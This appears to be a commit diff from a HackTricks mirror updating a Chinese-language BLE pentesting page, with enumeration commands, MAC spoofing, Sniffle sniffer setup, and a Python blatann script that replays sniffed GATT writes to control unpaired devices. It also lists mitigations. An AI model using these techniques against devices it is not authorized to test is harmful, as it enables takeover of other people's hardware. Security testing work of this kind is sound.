mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/todo/radio-hacking/pentesting-ble-bluetooth-low-ene
This commit is contained in:
Translator
parent
0ccb74d55f
commit
6d62d007e1
@ -1,24 +1,24 @@
|
|||||||
# Pentesting BLE - Bluetooth Low Energy
|
# Pentesting BLE - 低功耗蓝牙
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## 介绍
|
## 介绍
|
||||||
|
|
||||||
自 Bluetooth 4.0 规范发布以来，BLE 仅使用 40 个频道，覆盖 2400 到 2483.5 MHz 的范围。相比之下，传统蓝牙在相同范围内使用 79 个频道。
|
自 Bluetooth 4.0 规范起可用，BLE 只使用 40 个信道，覆盖 2400 到 2483.5 MHz 频段。相比之下，传统 Bluetooth 在相同频段使用 79 个信道。
|
||||||
|
|
||||||
BLE 设备通过发送 **advertising packets** (**beacons**) 进行通信，这些数据包向其他附近设备广播 BLE 设备的存在。这些信标有时也会 **发送数据**。
|
BLE 设备通过发送 advertising packets（beacons）进行通信，这些数据包将 BLE 设备的存在广播给附近的其他设备。这些 beacons 有时也会发送数据。
|
||||||
|
|
||||||
监听设备，也称为中央设备，可以通过向广告设备发送特定的 **SCAN request** 来响应广告数据包。对该扫描的 **response** 使用与 **advertising** 数据包相同的结构，并包含无法在初始广告请求中容纳的附加信息，例如完整的设备名称。
|
监听设备（也称为 central device）可以对 advertising packet 使用发送给特定广播设备的 SCAN request 进行响应。对该扫描的 response 使用与 advertising packet 相同的结构，附带最初 advertising 请求中放不下的额外信息，例如完整的设备名称。
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
前导字节同步频率，而四字节访问地址是 **connection identifier**，用于多个设备尝试在同一频道上建立连接的场景。接下来，协议数据单元 (**PDU**) 包含 **advertising data**。PDU 有几种类型；最常用的是 ADV_NONCONN_IND 和 ADV_IND。如果设备 **不接受连接**，则使用 **ADV_NONCONN_IND** PDU 类型，仅在广告数据包中传输数据。如果设备 **允许连接**，并且在 **连接** 建立后 **停止发送广告** 数据包，则使用 **ADV_IND**。
|
前导字节用于频率同步，而四字节的 access address 是一个 connection identifier，用于多个设备在相同信道上尝试建立连接时区分对话。接下来，Protocol Data Unit（PDU）包含 advertising data。PDU 有多种类型；最常用的是 ADV_NONCONN_IND 和 ADV_IND。如果设备不接受连接，就会使用 ADV_NONCONN_IND PDU 类型，仅在 advertising packet 中传输数据。如果设备允许连接则使用 ADV_IND，并在 connection 建立后停止发送 advertising packets。
|
||||||
|
|
||||||
### GATT
|
### GATT
|
||||||
|
|
||||||
**Generic Attribute Profile** (GATT) 定义了 **设备应如何格式化和传输数据**。当您分析 BLE 设备的攻击面时，您通常会将注意力集中在 GATT（或 GATTs）上，因为它是 **设备功能触发** 和数据存储、分组及修改的方式。GATT 以 16 位或 32 位值的表格形式列出设备的特性、描述符和服务。**特性**是 **在中央设备和外设之间发送的** **数据** 值。这些特性可以具有 **描述符**，以 **提供有关它们的附加信息**。如果 **特性** 与执行特定操作相关，通常会在 **服务** 中 **分组**。
|
Generic Attribute Profile（GATT）定义了设备应该如何格式化和传输数据。在分析 BLE 设备的攻击面时，你通常会将注意力集中在 GATT（或 GATTs）上，因为它是触发设备功能以及数据如何被存储、分组和修改的方式。GATT 以 16 位或 32 位值的表格列出设备的 characteristics、descriptors 和 services。characteristic 是 central device 与 peripheral 之间发送的数据值。这些 characteristics 可以有 descriptors，提供关于它们的附加信息。如果相关联以执行特定动作，characteristics 通常会被分组到 services 中。
|
||||||
|
|
||||||
## Enumeration
|
## 枚举
|
||||||
```bash
|
```bash
|
||||||
hciconfig #Check config, check if UP or DOWN
|
hciconfig #Check config, check if UP or DOWN
|
||||||
# If DOWN try:
|
# If DOWN try:
|
||||||
@ -30,8 +30,8 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
|
|||||||
```
|
```
|
||||||
### GATTool
|
### GATTool
|
||||||
|
|
||||||
**GATTool** 允许 **建立** 与另一个设备的 **连接**，列出该设备的 **特征**，并读取和写入其属性。\
|
**GATTool** 允许 **建立** 与 另一设备的 **连接**，列出该设备的 **特征 (characteristics)**，并读取与写入其属性。\
|
||||||
GATTTool 可以使用 `-I` 选项启动交互式 shell：
|
GATTTool 可以使用 `-I` 选项 启动 交互式 shell:
|
||||||
```bash
|
```bash
|
||||||
gatttool -i hci0 -I
|
gatttool -i hci0 -I
|
||||||
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
|
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
|
||||||
@ -64,4 +64,125 @@ sudo bettercap --eval "ble.recon on"
|
|||||||
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
|
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
|
||||||
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
|
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
|
||||||
```
|
```
|
||||||
|
## Sniffing 与 主动控制未配对的 BLE 设备
|
||||||
|
|
||||||
|
许多低成本的 BLE 外围设备并不强制执行 pairing/bonding。没有 bonding 时，Link Layer encryption 永远不会启用，因此 ATT/GATT 流量为明文。一个 off-path sniffer 可以跟踪连接，解码 GATT 操作以获取 characteristic handles 和值，任何附近的主机随后都可以连接并重放这些写操作来控制设备。
|
||||||
|
|
||||||
|
### 使用 Sniffle 进行 Sniffing (CC26x2/CC1352)
|
||||||
|
|
||||||
|
硬件：一台 Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352)，刷入 NCC Group’s Sniffle firmware。
|
||||||
|
|
||||||
|
在 Linux 上安装 Sniffle 及其 Wireshark extcap：
|
||||||
|
```bash
|
||||||
|
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
|
||||||
|
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
|
||||||
|
sudo mkdir -p /opt/sniffle
|
||||||
|
sudo chown -R $USER:$USER /opt/sniffle
|
||||||
|
pushd /opt/sniffle
|
||||||
|
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
|
||||||
|
tar xvf v1.10.0.tar.gz
|
||||||
|
# Install Wireshark extcap for user and root only
|
||||||
|
mkdir -p $HOME/.local/lib/wireshark/extcap
|
||||||
|
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
|
||||||
|
sudo mkdir -p /root/.local/lib/wireshark/extcap
|
||||||
|
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
|
||||||
|
popd
|
||||||
|
else
|
||||||
|
echo "[+] - Sniffle already installed at 1.10.0"
|
||||||
|
fi
|
||||||
|
```
|
||||||
|
将 Sonoff 刷入 Sniffle firmware (确保你的串口设备匹配，例如 /dev/ttyUSB0):
|
||||||
|
```bash
|
||||||
|
pushd /opt/sniffle/
|
||||||
|
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
|
||||||
|
git clone https://github.com/sultanqasim/cc2538-bsl.git
|
||||||
|
cd cc2538-bsl
|
||||||
|
python3 -m venv .venv
|
||||||
|
source .venv/bin/activate
|
||||||
|
python3 -m pip install pyserial intelhex
|
||||||
|
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
|
||||||
|
deactivate
|
||||||
|
popd
|
||||||
|
```
|
||||||
|
通过 Sniffle extcap 在 Wireshark 中捕获，并通过过滤快速切换到会改变状态的写操作：
|
||||||
|
```text
|
||||||
|
_ws.col.info contains "Sent Write Command"
|
||||||
|
```
|
||||||
|
这突出了来自 client 的 ATT Write Commands；handle 和 value 常常直接映射到设备操作（例如，写入 0x01 到 buzzer/alert characteristic，写入 0x00 停止）。
|
||||||
|
|
||||||
|
Sniffle CLI 快速示例:
|
||||||
|
```bash
|
||||||
|
python3 scanner.py --output scan.pcap
|
||||||
|
# Only devices with very strong signal
|
||||||
|
python3 scanner.py --rssi -40
|
||||||
|
# Filter advertisements containing a string
|
||||||
|
python3 sniffer.py --string "banana" --output sniff.pcap
|
||||||
|
```
|
||||||
|
Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin also works. On small/cheap Nordic dongles you typically overwrite the USB bootloader to load the sniffer firmware, so you either keep a dedicated sniffer dongle or need a J-Link/JTAG to restore the bootloader later.
|
||||||
|
|
||||||
|
### 通过 GATT 进行主动控制
|
||||||
|
|
||||||
|
一旦你从嗅探到的流量中识别出可写的 characteristic handle 和 value，就作为任意 central 连接并执行相同的写操作：
|
||||||
|
|
||||||
|
- 使用 Nordic nRF Connect for Desktop（BLE app）：
|
||||||
|
- 选择 nRF52/nRF52840 dongle，扫描并连接目标。
|
||||||
|
- 浏览 GATT 数据库，定位目标 characteristic（通常有友好名称，例如 Alert Level）。
|
||||||
|
- 使用嗅探到的字节执行 Write（例如，01 触发，00 停止）。
|
||||||
|
|
||||||
|
- 在 Windows 上使用 Nordic dongle 通过 Python + blatann 自动化：
|
||||||
|
```python
|
||||||
|
import time
|
||||||
|
import blatann
|
||||||
|
|
||||||
|
# CONFIG
|
||||||
|
COM_PORT = "COM29" # Replace with your COM port
|
||||||
|
TARGET_MAC = "5B:B1:7F:47:A7:00" # Replace with your target MAC
|
||||||
|
|
||||||
|
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")
|
||||||
|
|
||||||
|
# CONNECT
|
||||||
|
ble_device = blatann.BleDevice(COM_PORT)
|
||||||
|
ble_device.configure()
|
||||||
|
ble_device.open()
|
||||||
|
print(f"[-] Connecting to {TARGET_MAC}...")
|
||||||
|
peer = ble_device.connect(target_address).wait()
|
||||||
|
if not peer:
|
||||||
|
print("[!] Connection failed.")
|
||||||
|
ble_device.close()
|
||||||
|
raise SystemExit(1)
|
||||||
|
|
||||||
|
print("Connected. Discovering services...")
|
||||||
|
peer.discover_services().wait(5, exception_on_timeout=False)
|
||||||
|
|
||||||
|
# Example: write 0x01/0x00 to a known handle
|
||||||
|
for service in peer.database.services:
|
||||||
|
for ch in service.characteristics:
|
||||||
|
if ch.handle == 0x000b: # Replace with your handle
|
||||||
|
print("[!] Beeping.")
|
||||||
|
ch.write(b"\x01")
|
||||||
|
time.sleep(2)
|
||||||
|
print("[+] And relax.")
|
||||||
|
ch.write(b"\x00")
|
||||||
|
|
||||||
|
print("[-] Disconnecting...")
|
||||||
|
peer.disconnect()
|
||||||
|
peer.wait_for_disconnect()
|
||||||
|
ble_device.close()
|
||||||
|
```
|
||||||
|
### 操作注意事项和缓解措施
|
||||||
|
|
||||||
|
- 优先在 Linux 上使用 Sonoff+Sniffle，以实现可靠的信道跳频和连接跟踪。准备一个备用的 Nordic sniffer 作为备份。
|
||||||
|
- 如果没有 pairing/bonding，任何附近的攻击者都能观察到 writes，并重放或伪造写入到未认证的可写 characteristics。
|
||||||
|
- 缓解措施：要求 pairing/bonding 并强制加密；将 characteristic permissions 设置为要求 authenticated writes；尽量减少未认证的可写 characteristics；使用 Sniffle/nRF Connect 验证 GATT ACLs。
|
||||||
|
|
||||||
|
## 参考资料
|
||||||
|
|
||||||
|
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
|
||||||
|
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
|
||||||
|
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
|
||||||
|
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
|
||||||
|
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
|
||||||
|
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
|
||||||
|
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user